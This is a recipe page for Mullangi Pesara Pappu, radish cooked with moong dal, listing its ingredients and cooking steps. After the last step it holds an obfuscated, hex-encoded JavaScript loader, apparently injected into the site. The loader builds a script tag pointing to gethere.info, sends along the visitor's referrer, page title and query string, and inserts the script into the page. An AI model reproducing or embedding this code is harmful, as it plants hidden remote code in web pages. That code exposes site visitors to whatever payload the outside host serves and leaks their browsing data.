MULLANGI PESARAPAPPU DAL

MULLANGI PESARA PAPPU

Radish with Moong dal is an excellent and tasty recipe you can serve this as a side dish. Radishes are rich in ascorbic acid, folic acid and potassium. They are good source of Vitamin B6, riboflavin, magnesium, copper and calcium INGREDIENTS: Radish – 3 to 4 Moong dal – 100gm FOR SEASONING: Bengal gram dal – A? Tea Spoon

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Black gram dal – A? Tea Spoon Mustard seeds – A? Tea Spoon Cumin seeds – A? Tea Spoon Red chillies – 2 Green chillies – 2 Salt – to taste Curry leaves Garic flakes – 4-5 PROCESS: 1. Soak the Moong dal in water for half an

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hour 2. Peel of the radish and the grate finely 3. Take a frying pan, add three teaspoons oil and heat it 4. Add Bengal gram dal, black gram dal, mustard seeds and cumin seeds to it and saute 5. When they start splutter add red chillis, green chillis and curry leaves to it and fry 6. add the grated radish and fry till the smell of radish goes off and get cooked 7. Add the crushed garlic flakes and cook 8. Later add the soaked Moong dal and salt per taste and cook for sometime 9. Serve hot with steamed rice  var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} 

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